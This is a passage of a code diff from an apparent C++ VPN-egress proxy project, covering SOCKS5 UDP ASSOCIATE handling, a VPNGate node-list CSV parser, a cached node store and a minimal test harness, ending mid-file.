// reply matching on what they sent (resolvers do) would otherwise discard it.
Endpoint reported = from;
if (!from.is_domain() && from.address().valid()) {
auto it = rev_names_.find(from.address().to_string());
if (it != rev_names_.end()) reported = Endpoint(it->second, from.port());
}
to_client_.push_back(
Pending{encode_udp_datagram(reported, data, len), reported});
down_bytes_ += len;
m_down()->inc(len);
pump_client();
}
void UdpAssociation::pump_client() {
if (client_sending_ || to_client_.empty() || closed_) return;
client_sending_ = true;
auto self = shared_from_this();
client_sock_.async_send_to(
asio::buffer(to_client_.front().data), client_ep_,
asio::bind_executor(strand_, [self](const std::error_code &ec, size_t) {
if (self->closed_) return;
self->client_sending_ = false;
if (!self->to_client_.empty()) self->to_client_.pop_front();
if (ec && ec != asio::error::operation_aborted) {
LOG_DEBUG(kMod, "client send failed: {}", ec.message());
}
self->pump_client();
}));
}
} // namespace ovg::socks5
+161
View File
@@ -0,0 +1,161 @@
// SOCKS5 UDP ASSOCIATE (RFC 1928 §7).
//
// Answering the question the requirements asked directly: **UDP ASSOCIATE is
// supported.** What is not supported is fragmentation -- a datagram with
// FRAG != 0 is dropped and counted, never silently ignored and never
// reassembled. docs/FEASIBILITY.md §5.1 has the reasoning: reassembly needs
// cross-datagram state, is a known amplification vector, and no client in
// practice emits it.
//
// ---------------------------------------------------------------------------
// Shape
// ---------------------------------------------------------------------------
// An association owns two sockets:
//
// client_sock_ a host UDP socket the client sends to. Its address is what
// goes in the ASSOCIATE reply's BND field, which is why
// `advertise_address` exists -- behind NAT or in a container,
// the address we bound is not the address the client can reach.
// out_ a datagram socket *on the egress*, i.e. inside the tunnel.
//
// and moves datagrams between them, adding or stripping the RFC 1928 §7 header.
//
// ---------------------------------------------------------------------------
// Why this survives a node switch when TCP does not
// ---------------------------------------------------------------------------
// UDP has no sequence state to preserve, so `rehome()` closes only `out_` and
// opens a fresh one on the new egress. `client_sock_` -- the thing the client
// has in its socket table -- never changes: same address, same port. The client
// observes nothing except a changed exit IP, and a protocol built for that
// (QUIC, RFC 9000 §9) carries on through it. docs/FEASIBILITY.md §5.3.
//
// ---------------------------------------------------------------------------
// Lifetime
// ---------------------------------------------------------------------------
// RFC 1928 ties the association to its TCP control connection: when that closes,
// this must go. The owning Session enforces that by simply destroying us. An
// independent idle timer exists as well, because a client that holds the control
// connection open forever and stops sending would otherwise pin a tunnel PCB.
//
// Threading: every method must be called on the owning session's strand, and
// every completion runs there too.
#pragma once
#include <asio.hpp>
#include <chrono>
#include <cstdint>
#include <deque>
#include <functional>
#include <memory>
#include <string>
#include <unordered_map>
#include <vector>
#include "common/config.h"
#include "common/endpoint.h"
#include "common/strand_deleter.h"
#include "egress/egress.h"
namespace ovg::socks5 {
using Clock = std::chrono::steady_clock;
class UdpAssociation : public std::enable_shared_from_this<UdpAssociation> {
public:
using ReadyHandler = std::function<void(const std::error_code &)>;
static std::shared_ptr<UdpAssociation> create(Strand strand,
const Socks5Config &cfg,
egress::EgressPtr egress);
~UdpAssociation();
// Binds the client-facing socket on `bind_addr` (port 0) and opens the egress
// socket. `expect` is the DST.ADDR/DST.PORT the client put in its ASSOCIATE
// request: a zero address or port means "I do not know yet", in which case we
// latch whatever the first datagram comes from -- restricted to the control
// connection's peer address, which is the only anti-spoofing check available
// without asking the client to tell us the truth about itself.
void async_open(const asio::ip::address &bind_addr,
const asio::ip::address &client_addr, const Endpoint &expect,
ReadyHandler h);
// Address to put in the reply. Empty until async_open succeeds.
Endpoint advertised() const { return advertised_; }
void close();
// §5.4: swap the egress-side socket, keep the client-facing one.
void rehome(egress::EgressPtr fresh);
uint64_t bytes_up() const { return up_bytes_; }
uint64_t bytes_down() const { return down_bytes_; }
Clock::time_point last_activity() const { return last_activity_; }
const egress::EgressPtr &egress() const { return egress_; }
private:
struct Pending {
std::vector<uint8_t> data;
Endpoint to;
};
UdpAssociation(Strand strand, const Socks5Config &cfg,
egress::EgressPtr egress);
void start_client_recv();
void on_client_datagram(size_t n);
void start_out_recv(uint64_t gen);
void on_out_datagram(size_t n, const Endpoint &from);
void forward_out(const Endpoint &to, const uint8_t *data, size_t len);
void pump_out();
void queue_to_client(const Endpoint &from, const uint8_t *data, size_t len);
void pump_client();
void resolve_and_forward(const Endpoint &target, const uint8_t *data,
size_t len);
Strand strand_;
Socks5Config cfg_;
egress::EgressPtr egress_;
asio::ip::udp::socket client_sock_;
netstack::UdpSocketPtr out_;
uint64_t gen_ = 0; // invalidates callbacks from a superseded egress socket
bool closed_ = false;
Endpoint advertised_;
asio::ip::address client_addr_; // from the control connection
asio::ip::udp::endpoint client_ep_; // latched destination for replies
bool client_latched_ = false;
uint16_t expect_port_ = 0; // non-zero: the client told us its port up front
asio::ip::udp::endpoint recv_from_;
std::vector<uint8_t> client_buf_;
std::vector<uint8_t> out_buf_;
std::deque<Pending> to_out_;
std::deque<Pending> to_client_;
bool out_sending_ = false;
bool client_sending_ = false;
// Name resolution, per association. Datagrams for an unresolved name wait
// here rather than being dropped: for DNS-over-SOCKS the first datagram is
// usually the only one, so dropping it would look like a total failure.
struct PendingName {
std::vector<std::vector<uint8_t>> datagrams; // full SOCKS5 UDP payloads
uint16_t port = 0;
bool in_flight = false;
};
std::unordered_map<std::string, PendingName> resolving_;
std::unordered_map<std::string, IpAddress> resolved_;
// Reply rewriting: a client that sent to a name expects the reply to say the
// name, not the address we happened to pick.
std::unordered_map<std::string, std::string> rev_names_;
uint64_t up_bytes_ = 0, down_bytes_ = 0;
Clock::time_point last_activity_{};
};
using UdpAssociationPtr = std::shared_ptr<UdpAssociation>;
} // namespace ovg::socks5
+358
View File
@@ -0,0 +1,358 @@
#include "vpngate/csv_parser.h"
#include <algorithm>
#include <cctype>
#include <charconv>
#include <cstring>
#include "common/logging.h"
namespace ovg::vpngate {
namespace {
constexpr const char *kMod = "vpngate";
// Column indices in the documented header order.
enum Col {
kHostName = 0,
kIp = 1,
kScore = 2,
kPing = 3,
kSpeed = 4,
kCountryLong = 5,
kCountryShort = 6,
kNumVpnSessions = 7,
kUptime = 8,
kTotalUsers = 9,
kTotalTraffic = 10,
kLogType = 11,
kOperator = 12,
kMessage = 13,
kConfigBase64 = 14,
kColumnCount = 15,
};
std::string_view trim(std::string_view s) {
while (!s.empty() && std::isspace(static_cast<unsigned char>(s.front())))
s.remove_prefix(1);
while (!s.empty() && std::isspace(static_cast<unsigned char>(s.back())))
s.remove_suffix(1);
return s;
}
std::string lower(std::string_view s) {
std::string r(s);
for (char &c : r) c = static_cast<char>(std::tolower(static_cast<unsigned char>(c)));
return r;
}
// Tolerant numeric parse: empty or garbage yields the fallback rather than
// failing the row. VPNGate leaves Ping/Speed empty for nodes it hasn't measured.
template <typename T>
T to_number(std::string_view s, T fallback) {
s = trim(s);
if (s.empty()) return fallback;
T v{};
const auto r = std::from_chars(s.data(), s.data() + s.size(), v);
if (r.ec != std::errc{}) return fallback;
return v;
}
} // namespace
std::string ParseStats::summary() const {
return "rows=" + std::to_string(data_rows) +
" accepted=" + std::to_string(accepted) +
" skipped(columns=" + std::to_string(skipped_columns) +
" base64=" + std::to_string(skipped_base64) +
" profile=" + std::to_string(skipped_profile) +
" fields=" + std::to_string(skipped_fields) + ")";
}
// RFC 4180-ish splitter. Handles quoted fields with doubled quotes, and
// tolerates a stray quote in the middle of an unquoted field (volunteers do
// put quotes in free-text columns).
std::vector<std::string> split_csv_line(std::string_view line) {
std::vector<std::string> out;
std::string cur;
cur.reserve(64);
bool in_quotes = false;
for (size_t i = 0; i < line.size(); ++i) {
const char c = line[i];
if (in_quotes) {
if (c == '"') {
if (i + 1 < line.size() && line[i + 1] == '"') {
cur += '"';
++i;
} else {
in_quotes = false;
}
} else {
cur += c;
}
continue;
}
if (c == '"' && cur.empty()) {
in_quotes = true;
} else if (c == ',') {
out.push_back(std::move(cur));
cur.clear();
} else if (c == '\r') {
// tolerate CRLF
} else {
cur += c;
}
}
out.push_back(std::move(cur));
return out;
}
bool base64_decode(std::string_view in, std::string *out) {
static constexpr int8_t kInvalid = -1;
static constexpr int8_t kSkip = -2;
auto decode_char = [](unsigned char c) -> int8_t {
if (c >= 'A' && c <= 'Z') return static_cast<int8_t>(c - 'A');
if (c >= 'a' && c <= 'z') return static_cast<int8_t>(c - 'a' + 26);
if (c >= '0' && c <= '9') return static_cast<int8_t>(c - '0' + 52);
if (c == '+') return 62;
if (c == '/') return 63;
if (c == '=') return kSkip;
if (c == '\n' || c == '\r' || c == ' ' || c == '\t') return kSkip;
return kInvalid;
};
out->clear();
out->reserve(in.size() * 3 / 4 + 3);
uint32_t acc = 0;
int bits = 0;
for (char ch : in) {
const int8_t v = decode_char(static_cast<unsigned char>(ch));
if (v == kInvalid) return false;
if (v == kSkip) continue;
acc = (acc << 6) | static_cast<uint32_t>(v);
bits += 6;
if (bits >= 8) {
bits -= 8;
out->push_back(static_cast<char>((acc >> bits) & 0xff));
}
}
return true;
}
std::vector<Remote> extract_remotes(std::string_view profile) {
// Defaults that a "remote" line without its own values inherits, per
// OpenVPN's own semantics.
Proto default_proto = Proto::Udp;
uint16_t default_port = 1194;
struct PendingRemote {
std::string host;
uint16_t port = 0;
bool has_port = false;
Proto proto = Proto::Udp;
bool has_proto = false;
};
std::vector<PendingRemote> pending;
// Inline blocks are payload, not directives. Two reasons to skip them: a
// <connection> block declares an alternative remote we never scored and
// never dial (the sanitizer strips those blocks outright, and the two must
// agree on what the node's remotes are), and a PEM body is arbitrary base64
// that could begin a line with any word at all.
bool in_block = false;
std::string block_tag;
size_t pos = 0;
while (pos <= profile.size()) {
const size_t nl = profile.find('\n', pos);
std::string_view line =
profile.substr(pos, nl == std::string_view::npos ? std::string_view::npos
: nl - pos);
pos = (nl == std::string_view::npos) ? profile.size() + 1 : nl + 1;
line = trim(line);
if (in_block) {
if (line.size() > 3 && line.rfind("</", 0) == 0 && line.back() == '>' &&
lower(line.substr(2, line.size() - 3)) == block_tag) {
in_block = false;
block_tag.clear();
}
continue;
}
if (line.empty() || line.front() == '#' || line.front() == ';') continue;
if (line.front() == '<' && line.back() == '>' && line.rfind("</", 0) != 0) {
block_tag = lower(line.substr(1, line.size() - 2));
if (!block_tag.empty()) in_block = true;
continue;
}
// Split on whitespace.
std::vector<std::string_view> tok;
size_t i = 0;
while (i < line.size()) {
while (i < line.size() && std::isspace(static_cast<unsigned char>(line[i])))
++i;
const size_t start = i;
while (i < line.size() && !std::isspace(static_cast<unsigned char>(line[i])))
++i;
if (i > start) tok.push_back(line.substr(start, i - start));
}
if (tok.empty()) continue;
if (tok[0] == "proto" && tok.size() >= 2) {
// "tcp-client"/"tcp4"/"tcp" all mean TCP for our purposes.
default_proto = tok[1].rfind("tcp", 0) == 0 ? Proto::Tcp : Proto::Udp;
} else if (tok[0] == "port" && tok.size() >= 2) {
default_port = to_number<uint16_t>(tok[1], default_port);
} else if (tok[0] == "remote" && tok.size() >= 2) {
PendingRemote r;
r.host = std::string(tok[1]);
if (tok.size() >= 3) {
const auto p = to_number<uint16_t>(tok[2], 0);
if (p != 0) {
r.port = p;
r.has_port = true;
}
}
if (tok.size() >= 4) {
r.proto = tok[3].rfind("tcp", 0) == 0 ? Proto::Tcp : Proto::Udp;
r.has_proto = true;
}
pending.push_back(std::move(r));
}
}
// "proto"/"port" apply to every remote regardless of line order, so the
// defaults can only be resolved after the whole profile has been read.
std::vector<Remote> out;
out.reserve(pending.size());
for (const auto &p : pending) {
Remote r;
r.host = p.host;
r.port = p.has_port ? p.port : default_port;
r.proto = p.has_proto ? p.proto : default_proto;
if (r.host.empty() || r.port == 0) continue;
out.push_back(std::move(r));
}
return out;
}
bool parse_node_list(std::string_view body, ParseResult *out, std::string *err) {
out->nodes.clear();
out->stats = ParseStats{};
if (body.empty()) {
if (err) *err = "empty response body";
return false;
}
// Guard against getting an HTML error/captcha page instead of the CSV. This
// happens in practice when the API rate-limits or a portal intercepts.
const auto head = body.substr(0, std::min<size_t>(body.size(), 512));
if (head.find("<html") != std::string_view::npos ||
head.find("<HTML") != std::string_view::npos) {
if (err) *err = "response looks like HTML, not the VPNGate CSV";
return false;
}
if (head.find("*vpn_servers") == std::string_view::npos) {
if (err) *err = "missing '*vpn_servers' magic line";
return false;
}
bool header_seen = false;
size_t pos = 0;
while (pos < body.size()) {
const size_t nl = body.find('\n', pos);
std::string_view line = body.substr(
pos, nl == std::string_view::npos ? std::string_view::npos : nl - pos);
pos = (nl == std::string_view::npos) ? body.size() : nl + 1;
if (!line.empty() && line.back() == '\r') line.remove_suffix(1);
if (line.empty()) continue;
if (line.front() == '*') continue; // magic line and the trailing terminator
if (line.front() == '#') { // column header
header_seen = true;
continue;
}
if (!header_seen) continue;
out->stats.data_rows++;
auto fields = split_csv_line(line);
if (fields.size() < kColumnCount) {
out->stats.skipped_columns++;
continue;
}
Node n;
n.host_name = std::string(trim(fields[kHostName]));
n.ip = std::string(trim(fields[kIp]));
if (n.host_name.empty() || n.ip.empty()) {
out->stats.skipped_fields++;
continue;
}
n.country_long = std::string(trim(fields[kCountryLong]));
n.country_short = std::string(trim(fields[kCountryShort]));
n.log_type = std::string(trim(fields[kLogType]));
n.operator_name = std::string(trim(fields[kOperator]));
n.message = std::string(trim(fields[kMessage]));
n.api.score = to_number<int64_t>(fields[kScore], 0);
n.api.ping_ms = to_number<int>(fields[kPing], -1);
n.api.speed_bps = to_number<int64_t>(fields[kSpeed], 0);
n.api.num_sessions = to_number<int>(fields[kNumVpnSessions], 0);
n.api.uptime_ms = to_number<int64_t>(fields[kUptime], 0);
n.api.total_users = to_number<int64_t>(fields[kTotalUsers], 0);
n.api.total_traffic = to_number<int64_t>(fields[kTotalTraffic], 0);
if (!base64_decode(fields[kConfigBase64], &n.profile) || n.profile.empty()) {
out->stats.skipped_base64++;
continue;
}
n.remotes = extract_remotes(n.profile);
if (n.remotes.empty()) {
out->stats.skipped_profile++;
continue;
}
out->stats.accepted++;
out->nodes.push_back(std::move(n));
}
if (out->nodes.empty()) {
if (err) *err = "no usable nodes in response (" + out->stats.summary() + ")";
return false;
}
LOG_INFO(kMod, "parsed node list: {}", out->stats.summary());
return true;
}
bool Node::has_udp() const {
return std::any_of(remotes.begin(), remotes.end(),
[](const Remote &r) { return r.proto == Proto::Udp; });
}
bool Node::has_tcp() const {
return std::any_of(remotes.begin(), remotes.end(),
[](const Remote &r) { return r.proto == Proto::Tcp; });
}
const Remote *Node::pick_remote(bool prefer_udp) const {
if (remotes.empty()) return nullptr;
const Proto want = prefer_udp ? Proto::Udp : Proto::Tcp;
for (const auto &r : remotes)
if (r.proto == want) return &r;
return &remotes.front();
}
} // namespace ovg::vpngate
+58
View File
@@ -0,0 +1,58 @@
// Parser for the VPNGate node list.
//
// The response looks like:
//
// *vpn_servers
// #HostName,IP,Score,Ping,Speed,CountryLong,CountryShort,NumVpnSessions,...
// public-vpn-113,219.100.37.100,3008408,10,287135107,Japan,JP,113,...,<base64>
// ...
// *
//
// Two properties drive the implementation:
//
// 1. Lines are long. The last column is the base64 of an entire .ovpn profile
// including inline CA/cert/key, so 10-14 KB per line is normal (measured:
// 13529 bytes). Nothing here may use a fixed-size line buffer.
//
// 2. Free-text columns (Operator, Message) come from volunteers and are not
// reliably escaped. A malformed row must be skipped and counted, never
// allowed to abort the whole parse -- one bad volunteer must not cost us
// the other 95 nodes.
#pragma once
#include <string>
#include <string_view>
#include <vector>
#include "vpngate/node.h"
namespace ovg::vpngate {
struct ParseStats {
size_t data_rows = 0; // rows that looked like data
size_t accepted = 0; // rows that produced a usable Node
size_t skipped_columns = 0; // too few columns
size_t skipped_base64 = 0; // profile failed to decode
size_t skipped_profile = 0; // decoded but had no usable "remote"
size_t skipped_fields = 0; // required field (hostname/ip) empty
std::string summary() const;
};
struct ParseResult {
std::vector<Node> nodes;
ParseStats stats;
};
// Returns false only when the body is not a VPNGate response at all (e.g. an
// HTML error page). Individual bad rows are skipped and reported in stats.
bool parse_node_list(std::string_view body, ParseResult *out, std::string *err);
// Exposed for testing.
std::vector<std::string> split_csv_line(std::string_view line);
bool base64_decode(std::string_view in, std::string *out);
// Pulls "remote <host> <port> [proto]" / "proto <p>" / "port <n>" out of a
// decoded .ovpn profile.
std::vector<Remote> extract_remotes(std::string_view profile);
} // namespace ovg::vpngate
+62
View File
@@ -0,0 +1,62 @@
// A VPNGate node, as advertised by the public API plus what we derive from the
// embedded OpenVPN profile.
//
// Everything under `api` is measured by VPNGate's own infrastructure, not by
// us, so it is only a prior. See docs/FEASIBILITY.md §3.3.
#pragma once
#include <cstdint>
#include <string>
#include <vector>
namespace ovg::vpngate {
enum class Proto { Udp, Tcp };
inline const char *proto_name(Proto p) { return p == Proto::Udp ? "udp" : "tcp"; }
// One "remote" line from the profile.
struct Remote {
std::string host;
uint16_t port = 0;
Proto proto = Proto::Tcp;
};
// Metrics straight out of the CSV. Absent fields stay at their sentinel.
struct ApiMetrics {
int64_t score = 0; // VPNGate's own composite quality score
int ping_ms = -1; // -1 when the column was empty
int64_t speed_bps = 0; // advertised line speed, shared across sessions
int num_sessions = 0; // concurrent users right now
int64_t uptime_ms = 0;
int64_t total_users = 0;
int64_t total_traffic = 0;
};
struct Node {
std::string host_name; // e.g. "public-vpn-113"
std::string ip; // advertised IPv4
std::string country_long; // "Japan"
std::string country_short; // "JP"
std::string log_type;
std::string operator_name;
std::string message;
ApiMetrics api;
// Decoded .ovpn profile, verbatim. Kept because openvpn3 wants the whole
// thing (inline <ca>/<cert>/<key>), not just the parsed fields.
std::string profile;
std::vector<Remote> remotes;
// Stable identity for history/blacklist bookkeeping. HostName alone is not
// unique enough across refreshes; IP alone churns for dynamic-IP volunteers.
std::string id() const { return host_name + "@" + ip; }
bool has_udp() const;
bool has_tcp() const;
// Preferred remote given a protocol preference; falls back to whatever exists.
const Remote *pick_remote(bool prefer_udp) const;
};
} // namespace ovg::vpngate
+234
View File
@@ -0,0 +1,234 @@
#include "vpngate/node_store.h"
#include <sys/stat.h>
#include <filesystem>
#include <fstream>
#include <sstream>
#include "common/error.h"
#include "common/http_get.h"
#include "common/logging.h"
#include "common/metrics.h"
namespace ovg::vpngate {
namespace {
constexpr const char *kMod = "vpngate";
auto *m_refresh_ok = metrics::counter("ovg_vpngate_refresh_success_total",
"Successful node list refreshes");
auto *m_refresh_fail = metrics::counter("ovg_vpngate_refresh_failure_total",
"Failed node list refreshes");
auto *m_nodes = metrics::gauge("ovg_vpngate_nodes",
"Nodes in the current snapshot");
} // namespace
NodeStore::NodeStore(asio::io_context &io, VpnGateConfig cfg)
: io_(io), cfg_(std::move(cfg)), timer_(io) {
nodes_ = std::make_shared<const NodeList>();
}
NodeStore::~NodeStore() { stop(); }
void NodeStore::start() {
// A stale cache is far better than no nodes: it lets us bring a tunnel up
// while the network fetch is still in flight (or if VPNGate is unreachable).
std::string body;
if (load_cache(&body)) {
ParseResult pr;
std::string err;
if (parse_node_list(body, &pr, &err)) {
auto list = std::make_shared<const NodeList>(std::move(pr.nodes));
{
std::lock_guard lk(mu_);
nodes_ = list;
}
m_nodes->set(static_cast<int64_t>(list->size()));
LOG_INFO(kMod, "loaded {} nodes from cache {}", list->size(),
cfg_.cache_path);
} else {
LOG_WARN(kMod, "cache at {} is unusable: {}", cfg_.cache_path, err);
}
}
refresh_now(nullptr);
schedule_next();
}
void NodeStore::stop() {
stopped_.store(true);
std::error_code ignored;
timer_.cancel(ignored);
}
void NodeStore::schedule_next() {
if (stopped_.load()) return;
timer_.expires_after(cfg_.refresh_interval);
timer_.async_wait([this](std::error_code ec) {
if (ec || stopped_.load()) return;
refresh_now(nullptr);
schedule_next();
});
}
void NodeStore::refresh_now(RefreshHandler handler) {
{
std::lock_guard lk(mu_);
if (fetch_in_flight_) {
// Coalesce: a second caller waits on the fetch already running instead of
// hammering the API.
if (handler) waiters_.push_back(std::move(handler));
return;
}
fetch_in_flight_ = true;
if (handler) waiters_.push_back(std::move(handler));
}
try_urls(0, nullptr);
}
void NodeStore::try_urls(size_t index, RefreshHandler handler) {
if (stopped_.load()) {
complete(make_error_code(Error::Cancelled), 0);
return;
}
if (index >= cfg_.api_urls.size()) {
LOG_WARN(kMod, "all {} API endpoints failed", cfg_.api_urls.size());
m_refresh_fail->inc();
complete(make_error_code(Error::UpstreamFailure), 0);
return;
}
http::Options opts;
opts.timeout = cfg_.http_timeout;
opts.max_bytes = cfg_.max_response_bytes;
const std::string &url = cfg_.api_urls[index];
http::async_get(io_, url, opts,
[this, index, url](std::error_code ec, http::Response resp) {
if (ec) {
LOG_WARN(kMod, "fetch {} failed: {}", url, ec.message());
try_urls(index + 1, nullptr);
return;
}
if (resp.status != 200) {
LOG_WARN(kMod, "fetch {} returned HTTP {}", url,
resp.status);
try_urls(index + 1, nullptr);
return;
}
LOG_DEBUG(kMod, "fetched {} bytes from {}",
resp.body.size(), url);
on_body(std::move(resp.body), /*from_cache=*/false, nullptr);
});
}
void NodeStore::on_body(std::string body, bool from_cache,
RefreshHandler /*handler*/) {
ParseResult pr;
std::string err;
if (!parse_node_list(body, &pr, &err)) {
LOG_WARN(kMod, "parse failed: {}", err);
m_refresh_fail->inc();
complete(make_error_code(Error::ProtocolError), 0);
return;
}
const size_t count = pr.nodes.size();
auto list = std::make_shared<const NodeList>(std::move(pr.nodes));
{
std::lock_guard lk(mu_);
nodes_ = list;
last_success_ = std::chrono::system_clock::now();
}
m_nodes->set(static_cast<int64_t>(count));
m_refresh_ok->inc();
if (!from_cache) save_cache(body);
LOG_INFO(kMod, "node list refreshed: {} usable nodes", count);
complete({}, count);
}
void NodeStore::complete(std::error_code ec, size_t count) {
std::vector<RefreshHandler> waiters;
{
std::lock_guard lk(mu_);
fetch_in_flight_ = false;
waiters.swap(waiters_);
}
for (auto &w : waiters) {
if (w) asio::post(io_, [w = std::move(w), ec, count] { w(ec, count); });
}
}
bool NodeStore::load_cache(std::string *body) {
if (cfg_.cache_path.empty()) return false;
std::error_code ec;
const auto path = std::filesystem::path(cfg_.cache_path);
if (!std::filesystem::exists(path, ec)) return false;
struct stat st{};
if (::stat(cfg_.cache_path.c_str(), &st) != 0) return false;
const auto age = std::chrono::system_clock::now() -
std::chrono::system_clock::from_time_t(st.st_mtime);
if (age > cfg_.cache_max_age) {
LOG_INFO(kMod, "cache {} is too old ({}h), ignoring", cfg_.cache_path,
std::chrono::duration_cast<std::chrono::hours>(age).count());
return false;
}
std::ifstream in(cfg_.cache_path, std::ios::binary);
if (!in) return false;
std::ostringstream ss;
ss << in.rdbuf();
*body = ss.str();
return !body->empty();
}
void NodeStore::save_cache(const std::string &body) {
if (cfg_.cache_path.empty()) return;
std::error_code ec;
const auto path = std::filesystem::path(cfg_.cache_path);
if (path.has_parent_path())
std::filesystem::create_directories(path.parent_path(), ec);
// Write-then-rename so a crash mid-write cannot leave a truncated cache that
// we would happily parse on the next start.
const std::string tmp = cfg_.cache_path + ".tmp";
{
std::ofstream out(tmp, std::ios::binary | std::ios::trunc);
if (!out) {
LOG_WARN(kMod, "cannot write cache {}", tmp);
return;
}
out.write(body.data(), static_cast<std::streamsize>(body.size()));
if (!out) {
LOG_WARN(kMod, "short write to cache {}", tmp);
return;
}
}
std::filesystem::rename(tmp, path, ec);
if (ec) LOG_WARN(kMod, "cannot rename cache into place: {}", ec.message());
}
NodeListPtr NodeStore::snapshot() const {
std::lock_guard lk(mu_);
return nodes_;
}
bool NodeStore::has_nodes() const {
std::lock_guard lk(mu_);
return nodes_ && !nodes_->empty();
}
std::chrono::system_clock::time_point NodeStore::last_success() const {
std::lock_guard lk(mu_);
return last_success_;
}
} // namespace ovg::vpngate
+76
View File
@@ -0,0 +1,76 @@
// Owns the node list: periodic refresh from the API, disk cache, and
// thread-safe snapshot access.
//
// Snapshots are handed out as shared_ptr<const vector<Node>> rather than by
// value: each Node carries a ~10 KB profile, so copying the whole list on every
// read would be wasteful. Readers hold a snapshot for as long as they need it
// while a refresh swaps in a new one underneath.
#pragma once
#include <asio.hpp>
#include <atomic>
#include <chrono>
#include <functional>
#include <memory>
#include <mutex>
#include <string>
#include <vector>
#include "common/config.h"
#include "vpngate/csv_parser.h"
namespace ovg::vpngate {
using NodeList = std::vector<Node>;
using NodeListPtr = std::shared_ptr<const NodeList>;
class NodeStore {
public:
NodeStore(asio::io_context &io, VpnGateConfig cfg);
~NodeStore();
NodeStore(const NodeStore &) = delete;
NodeStore &operator=(const NodeStore &) = delete;
// Handler receives the node count on success.
using RefreshHandler = std::function<void(std::error_code, size_t)>;
// Loads the disk cache (if fresh enough) so callers have something to work
// with before the first network fetch completes, then starts the periodic
// refresh timer.
void start();
void stop();
// Forces a refresh now. Concurrent calls are coalesced onto the in-flight
// fetch rather than issuing duplicate requests.
void refresh_now(RefreshHandler handler);
// Never null; may be empty before the first successful load.
NodeListPtr snapshot() const;
bool has_nodes() const;
std::chrono::system_clock::time_point last_success() const;
private:
void schedule_next();
void try_urls(size_t index, RefreshHandler handler);
void on_body(std::string body, bool from_cache, RefreshHandler handler);
bool load_cache(std::string *body);
void save_cache(const std::string &body);
void complete(std::error_code ec, size_t count);
asio::io_context &io_;
VpnGateConfig cfg_;
asio::steady_timer timer_;
mutable std::mutex mu_;
NodeListPtr nodes_;
std::chrono::system_clock::time_point last_success_{};
std::vector<RefreshHandler> waiters_;
bool fetch_in_flight_ = false;
std::atomic<bool> stopped_{false};
};
} // namespace ovg::vpngate
+29
View File
@@ -0,0 +1,29 @@
set(OVG_TEST_SOURCES
harness.cpp
test_common.cpp
test_csv_parser.cpp
test_selector.cpp
test_http_get.cpp
test_ovpn.cpp
test_egress.cpp
test_socks5.cpp
test_health.cpp)
# The netstack only exists in a tunnel build (see src/CMakeLists.txt), so its
# tests come and go with it rather than being #ifdef'd to an empty file.
if(OVG_WITH_TUNNEL)
list(APPEND OVG_TEST_SOURCES test_netstack.cpp)
endif()
add_executable(ovg_tests ${OVG_TEST_SOURCES})
target_include_directories(ovg_tests PRIVATE ${CMAKE_CURRENT_SOURCE_DIR})
target_compile_definitions(ovg_tests PRIVATE
OVG_TEST_DATA_DIR="${CMAKE_CURRENT_SOURCE_DIR}/data")
target_link_libraries(ovg_tests PRIVATE
ovg_selector ovg_ovpn ovg_egress ovg_socks5 ovg_health)
if(OVG_WITH_TUNNEL)
target_link_libraries(ovg_tests PRIVATE ovg_netstack)
endif()
add_test(NAME unit COMMAND ovg_tests)
File diff suppressed because one or more lines are too long
+90
View File
@@ -0,0 +1,90 @@
#include "harness.h"
#include <chrono>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <exception>
#include "common/logging.h"
#ifndef OVG_TEST_DATA_DIR
#define OVG_TEST_DATA_DIR "tests/data"
#endif
namespace ovgtest {
std::vector<Case> &registry() {
static std::vector<Case> cases;
return cases;
}
Registrar::Registrar(std::string name, std::function<void()> fn) {
registry().push_back(Case{std::move(name), std::move(fn)});
}
void fail(const char *file, int line, const std::string &what) {
const char *slash = std::strrchr(file, '/');
std::string loc = slash ? slash + 1 : file;
throw Failure{loc + ":" + std::to_string(line) + ": " + what};
}
void skip(const std::string &reason) { throw Skipped{reason}; }
std::string data_path(const std::string &leaf) {
return std::string(OVG_TEST_DATA_DIR) + "/" + leaf;
}
int run_all(int argc, char **argv) {
const char *filter = argc > 1 ? argv[1] : nullptr;
int passed = 0, failed = 0, filtered = 0, skipped = 0;
for (const auto &c : registry()) {
if (filter && c.name.find(filter) == std::string::npos) {
++filtered;
continue;
}
const auto t0 = std::chrono::steady_clock::now();
try {
c.fn();
const auto ms = std::chrono::duration<double, std::milli>(
std::chrono::steady_clock::now() - t0)
.count();
std::printf(" \033[32mPASS\033[0m %-44s %6.1fms\n", c.name.c_str(), ms);
++passed;
} catch (const Skipped &s) {
std::printf(" \033[33mSKIP\033[0m %-44s %s\n", c.name.c_str(),
s.reason.c_str());
++skipped;
} catch (const Failure &f) {
std::printf(" \033[31mFAIL\033[0m %s\n %s\n", c.name.c_str(),
f.message.c_str());
++failed;
} catch (const std::exception &e) {
std::printf(" \033[31mFAIL\033[0m %s\n threw: %s\n",
c.name.c_str(), e.what());
++failed;
} catch (...) {
std::printf(" \033[31mFAIL\033[0m %s\n threw unknown exception\n",
c.name.c_str());
++failed;
}
}
std::printf("\n %d passed, %d failed", passed, failed);
if (skipped) std::printf(", %d skipped", skipped);
if (filtered) std::printf(", %d filtered out", filtered);
std::printf("\n\n");
return failed == 0 ? 0 : 1;
}
} // namespace ovgtest
int main(int argc, char **argv) {
// Tests exercise error paths on purpose, so the log would be mostly noise.
// OVG_TEST_LOG=debug (or any level name) turns it back on when debugging.
const char *lvl = std::getenv("OVG_TEST_LOG");
ovg::log::set_level(lvl ? ovg::log::level_from_string(lvl)
: ovg::log::Level::Off);
return ovgtest::run_all(argc, argv);
}
+120
View File
@@ -0,0 +1,120 @@
// A ~100-line test harness.
//
// Pulling in GTest would mean either a system package we cannot assume or a
// FetchContent download on every clean build. The tests here need registration,
// assertions and a non-zero exit code; that is all this provides.
#pragma once
#include <concepts>
#include <functional>
#include <ostream>
#include <sstream>
#include <string>
#include <vector>
namespace ovgtest {
struct Case {
std::string name;
std::function<void()> fn;
};
std::vector<Case> &registry();
struct Registrar {
Registrar(std::string name, std::function<void()> fn);
};
// Thrown by the CHECK macros; caught per-case by the runner.
struct Failure {
std::string message;
};
// Thrown by SKIP: the environment cannot support the test (e.g. a sandbox that
// transparently accepts every outbound connection, so nothing can be
// blackholed). Reported distinctly from a pass so it cannot hide a regression.
struct Skipped {
std::string reason;
};
[[noreturn]] void fail(const char *file, int line, const std::string &what);
[[noreturn]] void skip(const std::string &reason);
// Absolute path to tests/data, injected by CMake.
std::string data_path(const std::string &leaf);
int run_all(int argc, char **argv);
// Best-effort stringification: streamable types get printed, everything else
